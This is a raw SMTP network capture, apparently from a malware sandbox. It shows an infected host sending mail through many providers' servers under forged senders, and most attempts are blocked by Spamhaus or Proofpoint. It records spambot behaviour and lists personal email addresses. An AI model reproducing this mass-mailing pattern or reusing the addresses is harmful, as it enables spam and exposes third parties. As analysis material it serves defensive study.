Jan 7, 2022 15:56:23.775754929 CET	49810	25	192.168.2.4	91.136.8.47	MAIL FROM: <gonzalez2000@hotmail.com>
Jan 7, 2022 15:56:23.827124119 CET	25	49810	91.136.8.47	192.168.2.4	250 2.1.0 <gonzalez2000@hotmail.com>... Sender ok
Jan 7, 2022 15:56:23.827410936 CET	49810	25	192.168.2.4	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:56:23.874028921 CET	25	49810	91.136.8.47	192.168.2.4	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:56:23.874167919 CET	49810	25	192.168.2.4	91.136.8.47	QUIT
Jan 7, 2022 15:56:23.915309906 CET	25	49810	91.136.8.47	192.168.2.4	221 2.0.0 mail129c50.megamailservers.eu closing connection
Jan 7, 2022 15:56:24.335716009 CET	25	49811	44.239.72.13	192.168.2.4	220 inbound-trex-2 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:56:24.335978031 CET	49811	25	192.168.2.4	44.239.72.13	HELO mx1.mailchannels.net
Jan 7, 2022 15:56:24.530884027 CET	25	49811	44.239.72.13	192.168.2.4	250 inbound-trex-2
Jan 7, 2022 15:56:24.531341076 CET	49811	25	192.168.2.4	44.239.72.13	MAIL FROM: <adam.wright@inbox.com>
Jan 7, 2022 15:56:24.725152016 CET	25	49811	44.239.72.13	192.168.2.4	250 2.0.0 OK
Jan 7, 2022 15:56:24.728449106 CET	49811	25	192.168.2.4	44.239.72.13	RCPT TO: <robert@broofa.com>
Jan 7, 2022 15:56:25.205393076 CET	25	49811	44.239.72.13	192.168.2.4	250 2.1.5 Ok
Jan 7, 2022 15:56:25.205610037 CET	49811	25	192.168.2.4	44.239.72.13	DATA
Jan 7, 2022 15:56:25.407715082 CET	25	49811	44.239.72.13	192.168.2.4	354 OK
Jan 7, 2022 15:56:25.639199018 CET	25	49812	44.239.72.13	192.168.2.4	220 inbound-trex-5 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:56:25.639302015 CET	49812	25	192.168.2.4	44.239.72.13	HELO mx1.mailchannels.net
Jan 7, 2022 15:56:25.836575031 CET	25	49812	44.239.72.13	192.168.2.4	250 inbound-trex-5
Jan 7, 2022 15:56:25.836689949 CET	49812	25	192.168.2.4	44.239.72.13	MAIL FROM: <serv@broofa.com>
Jan 7, 2022 15:56:26.033031940 CET	25	49812	44.239.72.13	192.168.2.4	250 2.0.0 OK
Jan 7, 2022 15:56:26.033169985 CET	49812	25	192.168.2.4	44.239.72.13	RCPT TO: <robert@broofa.com>
Jan 7, 2022 15:56:26.243742943 CET	25	49812	44.239.72.13	192.168.2.4	250 2.1.5 Ok
Jan 7, 2022 15:56:26.243880033 CET	49812	25	192.168.2.4	44.239.72.13	DATA
Jan 7, 2022 15:56:26.443682909 CET	25	49812	44.239.72.13	192.168.2.4	354 OK
Jan 7, 2022 15:56:27.607644081 CET	49812	25	192.168.2.4	44.239.72.13	. QUIT
Jan 7, 2022 15:56:27.990259886 CET	25	49812	44.239.72.13	192.168.2.4	250 2.0.0 Ok: queued as CC8BF402DD 221 2.0.0 Bye
Jan 7, 2022 15:56:28.506747961 CET	49811	25	192.168.2.4	44.239.72.13	. QUIT
Jan 7, 2022 15:56:28.841556072 CET	25	49811	44.239.72.13	192.168.2.4	250 2.0.0 Ok: queued as A89FB2016E 221 2.0.0 Bye
Jan 7, 2022 15:56:47.079992056 CET	25	49817	104.47.51.33	192.168.2.4	220 BN1NAM02FT060.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080028057 CET	25	49818	104.47.51.33	192.168.2.4	220 BN1NAM02FT055.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080198050 CET	49818	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.080199003 CET	49817	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.080231905 CET	25	49823	104.47.51.33	192.168.2.4	220 BN1NAM02FT046.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080435038 CET	25	49819	104.47.51.33	192.168.2.4	220 BN1NAM02FT018.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080441952 CET	49823	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.080677032 CET	25	49820	104.47.51.33	192.168.2.4	220 BN1NAM02FT060.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080699921 CET	25	49821	104.47.51.33	192.168.2.4	220 BN1NAM02FT003.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.080713987 CET	49819	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.080766916 CET	49820	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.080779076 CET	49821	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.081247091 CET	25	49822	104.47.51.33	192.168.2.4	220 BN1NAM02FT014.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.081341982 CET	49822	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.083473921 CET	25	49824	104.47.51.33	192.168.2.4	220 BN1NAM02FT027.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.084371090 CET	49824	25	192.168.2.4	104.47.51.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.183073997 CET	25	49818	104.47.51.33	192.168.2.4	250 BN1NAM02FT055.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.183185101 CET	49818	25	192.168.2.4	104.47.51.33	MAIL FROM: <wright_1978@mail.aim.com>
Jan 7, 2022 15:56:47.183257103 CET	25	49823	104.47.51.33	192.168.2.4	250 BN1NAM02FT046.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.183316946 CET	49823	25	192.168.2.4	104.47.51.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:56:47.183609962 CET	25	49817	104.47.51.33	192.168.2.4	250 BN1NAM02FT060.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.183701992 CET	49817	25	192.168.2.4	104.47.51.33	MAIL FROM: <ruth.clark@hotmail.com>
Jan 7, 2022 15:56:47.184021950 CET	25	49821	104.47.51.33	192.168.2.4	250 BN1NAM02FT003.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.184042931 CET	25	49820	104.47.51.33	192.168.2.4	250 BN1NAM02FT060.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.184153080 CET	49820	25	192.168.2.4	104.47.51.33	MAIL FROM: <dan.hall@mail.lycos.com>
Jan 7, 2022 15:56:47.184154987 CET	49821	25	192.168.2.4	104.47.51.33	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:56:47.184741020 CET	25	49822	104.47.51.33	192.168.2.4	250 BN1NAM02FT014.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.184823990 CET	49822	25	192.168.2.4	104.47.51.33	MAIL FROM: <secur@msn.com>
Jan 7, 2022 15:56:47.207513094 CET	25	49819	104.47.51.33	192.168.2.4	250 BN1NAM02FT018.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.207642078 CET	49819	25	192.168.2.4	104.47.51.33	MAIL FROM: <baker_yogor@goowy.com>
Jan 7, 2022 15:56:47.221760988 CET	25	49824	104.47.51.33	192.168.2.4	250 BN1NAM02FT027.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.224610090 CET	49824	25	192.168.2.4	104.47.51.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:56:47.286644936 CET	25	49818	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT055.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.286720037 CET	25	49823	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT046.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.286742926 CET	49818	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.286813974 CET	49823	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.287590981 CET	25	49817	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT060.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.287775993 CET	49817	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.288039923 CET	25	49821	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT003.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.288077116 CET	25	49820	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT060.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.288147926 CET	49820	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.288150072 CET	49821	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.288872957 CET	25	49822	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT014.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.288985014 CET	49822	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.311125994 CET	25	49819	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT018.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.311254025 CET	49819	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.329850912 CET	25	49824	104.47.51.33	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN1NAM02FT027.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:47.330040932 CET	49824	25	192.168.2.4	104.47.51.33	QUIT
Jan 7, 2022 15:56:47.590487957 CET	25	49830	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP z11si4653880lfe.281 - gsmtp
Jan 7, 2022 15:56:47.590578079 CET	49830	25	192.168.2.4	142.250.150.26	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:56:47.642270088 CET	25	49827	98.136.96.93	192.168.2.4	220 mtaproxy201.aol.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:56:47.642417908 CET	49827	25	192.168.2.4	98.136.96.93	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:56:47.650840044 CET	25	49830	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:47.650958061 CET	49830	25	192.168.2.4	142.250.150.26	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:56:47.686011076 CET	25	49825	104.47.73.161	192.168.2.4	220 MW2NAM04FT024.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:46 +0000
Jan 7, 2022 15:56:47.686120987 CET	49825	25	192.168.2.4	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.686223984 CET	25	49826	104.47.73.161	192.168.2.4	220 MW2NAM04FT005.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:47 +0000
Jan 7, 2022 15:56:47.687386036 CET	49826	25	192.168.2.4	104.47.73.161	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:56:47.703727007 CET	25	49830	142.250.150.26	192.168.2.4	250 2.1.0 OK z11si4653880lfe.281 - gsmtp
Jan 7, 2022 15:56:47.703840971 CET	49830	25	192.168.2.4	142.250.150.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:56:47.730288982 CET	25	49832	94.152.34.135	192.168.2.4	220 herrain.snat.e-kei.pl ESMTP
Jan 7, 2022 15:56:47.730447054 CET	49832	25	192.168.2.4	94.152.34.135	HELO oopp.pl
Jan 7, 2022 15:56:47.764983892 CET	25	49830	142.250.150.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser z11si4653880lfe.281 - gsmtp
Jan 7, 2022 15:56:47.765081882 CET	49830	25	192.168.2.4	142.250.150.26	QUIT
Jan 7, 2022 15:56:47.769042969 CET	25	49827	98.136.96.93	192.168.2.4	250 mtaproxy201.aol.mail.ne1.yahoo.com
Jan 7, 2022 15:56:47.769393921 CET	49827	25	192.168.2.4	98.136.96.93	MAIL FROM: <jim.harris@inbox.com>
Jan 7, 2022 15:56:47.770086050 CET	25	49832	94.152.34.135	192.168.2.4	250 herrain.snat.e-kei.pl
Jan 7, 2022 15:56:47.770191908 CET	49832	25	192.168.2.4	94.152.34.135	MAIL FROM: <secur@oopp.pl>
Jan 7, 2022 15:56:47.810915947 CET	25	49832	94.152.34.135	192.168.2.4	250 ok
Jan 7, 2022 15:56:47.811109066 CET	49832	25	192.168.2.4	94.152.34.135	RCPT TO: <vojtek_657@oopp.pl>
Jan 7, 2022 15:56:47.830585003 CET	25	49829	34.215.215.23	192.168.2.4	220 inbound-trex-2 (trex/6.4.3) ESMTP ready
Jan 7, 2022 15:56:47.830725908 CET	49829	25	192.168.2.4	34.215.215.23	HELO mx2.mailchannels.net
Jan 7, 2022 15:56:47.852206945 CET	25	49825	104.47.73.161	192.168.2.4	250 MW2NAM04FT024.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.852313995 CET	49825	25	192.168.2.4	104.47.73.161	MAIL FROM: <lisa.moore@hotmail.com>
Jan 7, 2022 15:56:47.853725910 CET	25	49826	104.47.73.161	192.168.2.4	250 MW2NAM04FT005.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:47.853974104 CET	49826	25	192.168.2.4	104.47.73.161	MAIL FROM: <danitvav@gmail.com>
Jan 7, 2022 15:56:47.871423006 CET	25	49833	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP o8si4854010ljj.621 - gsmtp
Jan 7, 2022 15:56:47.871639967 CET	49833	25	192.168.2.4	142.250.150.26	HELO aspmx2.googlemail.com
Jan 7, 2022 15:56:47.896430969 CET	25	49827	98.136.96.93	192.168.2.4	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:56:47.896632910 CET	49827	25	192.168.2.4	98.136.96.93	QUIT
Jan 7, 2022 15:56:47.927335024 CET	25	49833	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:47.927809954 CET	49833	25	192.168.2.4	142.250.150.26	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:56:47.980631113 CET	25	49833	142.250.150.26	192.168.2.4	250 2.1.0 OK o8si4854010ljj.621 - gsmtp
Jan 7, 2022 15:56:47.981200933 CET	49833	25	192.168.2.4	142.250.150.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:56:47.985611916 CET	25	49831	148.163.149.218	192.168.2.4	220 mx0a-0028be01.pphosted.com ESMTP mfa-m0175280
Jan 7, 2022 15:56:47.985975981 CET	49831	25	192.168.2.4	148.163.149.218	HELO mxa-0028be01.gslb.pphosted.com
Jan 7, 2022 15:56:48.019411087 CET	25	49825	104.47.73.161	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT024.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:56:48.019599915 CET	49825	25	192.168.2.4	104.47.73.161	QUIT
Jan 7, 2022 15:56:48.021054029 CET	25	49826	104.47.73.161	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [MW2NAM04FT005.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:56:48.021241903 CET	49826	25	192.168.2.4	104.47.73.161	QUIT
Jan 7, 2022 15:56:48.025729895 CET	25	49829	34.215.215.23	192.168.2.4	250 inbound-trex-2
Jan 7, 2022 15:56:48.026225090 CET	49829	25	192.168.2.4	34.215.215.23	MAIL FROM: <secur@xyz.com.br>
Jan 7, 2022 15:56:48.044866085 CET	25	49833	142.250.150.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser o8si4854010ljj.621 - gsmtp
Jan 7, 2022 15:56:48.045147896 CET	49833	25	192.168.2.4	142.250.150.26	QUIT
Jan 7, 2022 15:56:48.098104000 CET	25	49833	142.250.150.26	192.168.2.4	221 2.0.0 closing connection o8si4854010ljj.621 - gsmtp
Jan 7, 2022 15:56:48.186309099 CET	25	49831	148.163.149.218	192.168.2.4	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:56:48.186481953 CET	49831	25	192.168.2.4	148.163.149.218	MAIL FROM: <bob.walker@gmail.com>
Jan 7, 2022 15:56:48.224066973 CET	25	49829	34.215.215.23	192.168.2.4	250 2.0.0 OK
Jan 7, 2022 15:56:48.227231026 CET	49829	25	192.168.2.4	34.215.215.23	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:56:48.380486965 CET	25	49831	148.163.149.218	192.168.2.4	250 2.1.0 Sender ok
Jan 7, 2022 15:56:48.380642891 CET	49831	25	192.168.2.4	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:56:48.381218910 CET	25	49836	104.47.51.110	192.168.2.4	220 BN1NAM02FT018.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:47 +0000
Jan 7, 2022 15:56:48.382117033 CET	49836	25	192.168.2.4	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:56:48.384416103 CET	25	49835	104.47.51.110	192.168.2.4	220 BN1NAM02FT063.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:56:47 +0000
Jan 7, 2022 15:56:48.384565115 CET	49835	25	192.168.2.4	104.47.51.110	HELO contoso-com.mail.protection.outlook.com
Jan 7, 2022 15:56:48.432020903 CET	25	49829	34.215.215.23	192.168.2.4	250 2.1.5 Ok
Jan 7, 2022 15:56:48.433258057 CET	49829	25	192.168.2.4	34.215.215.23	DATA
Jan 7, 2022 15:56:48.485213041 CET	25	49836	104.47.51.110	192.168.2.4	250 BN1NAM02FT018.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:48.487098932 CET	49836	25	192.168.2.4	104.47.51.110	MAIL FROM: <secur@contoso.com>
Jan 7, 2022 15:56:48.487440109 CET	25	49835	104.47.51.110	192.168.2.4	250 BN1NAM02FT063.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:56:48.487554073 CET	49835	25	192.168.2.4	104.47.51.110	MAIL FROM: <sec@contoso.com>
Jan 7, 2022 15:56:48.576050997 CET	25	49831	148.163.149.218	192.168.2.4	250 2.1.5 Recipient ok
Jan 7, 2022 15:56:48.576474905 CET	49831	25	192.168.2.4	148.163.149.218	DATA
Jan 7, 2022 15:56:48.590779066 CET	25	49836	104.47.51.110	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:56:48.590975046 CET	49836	25	192.168.2.4	104.47.51.110	RCPT TO: <guy@contoso.com>
Jan 7, 2022 15:56:48.590996981 CET	25	49835	104.47.51.110	192.168.2.4	250 2.1.0 Sender OK
Jan 7, 2022 15:56:48.591090918 CET	49835	25	192.168.2.4	104.47.51.110	RCPT TO: <quentin@contoso.com>
Jan 7, 2022 15:56:48.635277987 CET	25	49829	34.215.215.23	192.168.2.4	354 OK
Jan 7, 2022 15:56:48.694506884 CET	25	49836	104.47.51.110	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT018.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:48.694538116 CET	25	49835	104.47.51.110	192.168.2.4	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 AS(1440) [BN1NAM02FT063.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:56:48.694626093 CET	49836	25	192.168.2.4	104.47.51.110	QUIT
Jan 7, 2022 15:56:48.694768906 CET	49835	25	192.168.2.4	104.47.51.110	QUIT
Jan 7, 2022 15:56:48.783137083 CET	25	49831	148.163.149.218	192.168.2.4	354 Enter mail, end with "." on a line by itself
Jan 7, 2022 15:56:48.797245026 CET	25	49836	104.47.51.110	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:56:48.797281981 CET	25	49835	104.47.51.110	192.168.2.4	221 2.0.0 Service closing transmission channel
Jan 7, 2022 15:56:48.853691101 CET	25	49832	94.152.34.135	192.168.2.4	553 sorry, that domain isn't in my list of allowed rcpthosts / Ta domena nie znajduje sie na liscie obslugiwanych przez serwer, jest zablokowana lub nieprawidlowo skonfigurowano uwierzytelnianie SMTP (#5.5.3 - vuser)
Jan 7, 2022 15:56:48.853923082 CET	49832	25	192.168.2.4	94.152.34.135	QUIT
Jan 7, 2022 15:56:48.893518925 CET	25	49832	94.152.34.135	192.168.2.4	221 herrain.snat.e-kei.pl
Jan 7, 2022 15:56:48.894781113 CET	25	49834	74.125.200.26	192.168.2.4	220 mx.google.com ESMTP y1si6394034plg.298 - gsmtp
Jan 7, 2022 15:56:48.894896030 CET	49834	25	192.168.2.4	74.125.200.26	HELO aspmx3.googlemail.com
Jan 7, 2022 15:56:48.964093924 CET	25	49842	142.250.150.26	192.168.2.4	220 mx.google.com ESMTP d17si6118178lfg.178 - gsmtp
Jan 7, 2022 15:56:48.964523077 CET	49842	25	192.168.2.4	142.250.150.26	HELO aspmx2.googlemail.com
Jan 7, 2022 15:56:49.019603968 CET	25	49842	142.250.150.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:49.019717932 CET	49842	25	192.168.2.4	142.250.150.26	MAIL FROM: <serv@contoso.es>
Jan 7, 2022 15:56:49.073318958 CET	25	49842	142.250.150.26	192.168.2.4	250 2.1.0 OK d17si6118178lfg.178 - gsmtp
Jan 7, 2022 15:56:49.073452950 CET	49842	25	192.168.2.4	142.250.150.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:56:49.134160042 CET	25	49842	142.250.150.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser d17si6118178lfg.178 - gsmtp
Jan 7, 2022 15:56:49.134305954 CET	49842	25	192.168.2.4	142.250.150.26	QUIT
Jan 7, 2022 15:56:49.187186956 CET	25	49842	142.250.150.26	192.168.2.4	221 2.0.0 closing connection d17si6118178lfg.178 - gsmtp
Jan 7, 2022 15:56:49.400666952 CET	25	49834	74.125.200.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:49.400775909 CET	49834	25	192.168.2.4	74.125.200.26	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:56:49.878964901 CET	25	49844	142.250.157.26	192.168.2.4	220 mx.google.com ESMTP y2si3601272plg.161 - gsmtp
Jan 7, 2022 15:56:49.879096985 CET	49844	25	192.168.2.4	142.250.157.26	HELO aspmx4.googlemail.com
Jan 7, 2022 15:56:49.906157017 CET	25	49834	74.125.200.26	192.168.2.4	250 2.1.0 OK y1si6394034plg.298 - gsmtp
Jan 7, 2022 15:56:49.906305075 CET	49834	25	192.168.2.4	74.125.200.26	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:56:50.123174906 CET	49831	25	192.168.2.4	148.163.149.218	. QUIT
Jan 7, 2022 15:56:50.233937979 CET	25	49845	193.239.68.121	192.168.2.4	220 bst01.sputnikmedia.net ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:56:50 +0200
Jan 7, 2022 15:56:50.234069109 CET	49845	25	192.168.2.4	193.239.68.121	HELO mx1.bigmir.net
Jan 7, 2022 15:56:50.276648998 CET	25	49845	193.239.68.121	192.168.2.4	250 bst01.sputnikmedia.net Hello mx1.bigmir.net [102.129.143.96]
Jan 7, 2022 15:56:50.276879072 CET	49845	25	192.168.2.4	193.239.68.121	MAIL FROM: <serv@bigmir.net>
Jan 7, 2022 15:56:50.313364983 CET	25	49831	148.163.149.218	192.168.2.4	550 5.7.0 Blocked - see https://ipcheck.proofpoint.com/?ip=102.129.143.96 221 2.0.0 mx0a-0028be01.pphosted.com Closing connection
Jan 7, 2022 15:56:50.315082073 CET	25	49844	142.250.157.26	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:50.315186977 CET	49844	25	192.168.2.4	142.250.157.26	MAIL FROM: <serv@contoso.es>
Jan 7, 2022 15:56:50.319246054 CET	25	49845	193.239.68.121	192.168.2.4	250 OK
Jan 7, 2022 15:56:50.321600914 CET	49845	25	192.168.2.4	193.239.68.121	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:56:50.422483921 CET	25	49834	74.125.200.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser y1si6394034plg.298 - gsmtp
Jan 7, 2022 15:56:50.422615051 CET	49834	25	192.168.2.4	74.125.200.26	QUIT
Jan 7, 2022 15:56:50.478154898 CET	25	49847	173.194.79.27	192.168.2.4	220 mx.google.com ESMTP se21si2423026ejb.473 - gsmtp
Jan 7, 2022 15:56:50.478331089 CET	49847	25	192.168.2.4	173.194.79.27	HELO aspmx.l.google.com
Jan 7, 2022 15:56:50.510572910 CET	25	49847	173.194.79.27	192.168.2.4	250 mx.google.com at your service
Jan 7, 2022 15:56:50.510745049 CET	49847	25	192.168.2.4	173.194.79.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:56:50.538090944 CET	25	49847	173.194.79.27	192.168.2.4	250 2.1.0 OK se21si2423026ejb.473 - gsmtp
Jan 7, 2022 15:56:50.538211107 CET	49847	25	192.168.2.4	173.194.79.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:56:50.574346066 CET	25	49847	173.194.79.27	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser se21si2423026ejb.473 - gsmtp
Jan 7, 2022 15:56:50.574453115 CET	49847	25	192.168.2.4	173.194.79.27	QUIT
Jan 7, 2022 15:56:50.746242046 CET	25	49844	142.250.157.26	192.168.2.4	250 2.1.0 OK y2si3601272plg.161 - gsmtp
Jan 7, 2022 15:56:50.746370077 CET	49844	25	192.168.2.4	142.250.157.26	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:56:50.923657894 CET	25	49834	74.125.200.26	192.168.2.4	221 2.0.0 closing connection y1si6394034plg.298 - gsmtp
Jan 7, 2022 15:56:51.185036898 CET	25	49844	142.250.157.26	192.168.2.4	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser y2si3601272plg.161 - gsmtp
Jan 7, 2022 15:56:51.185204029 CET	49844	25	192.168.2.4	142.250.157.26	QUIT
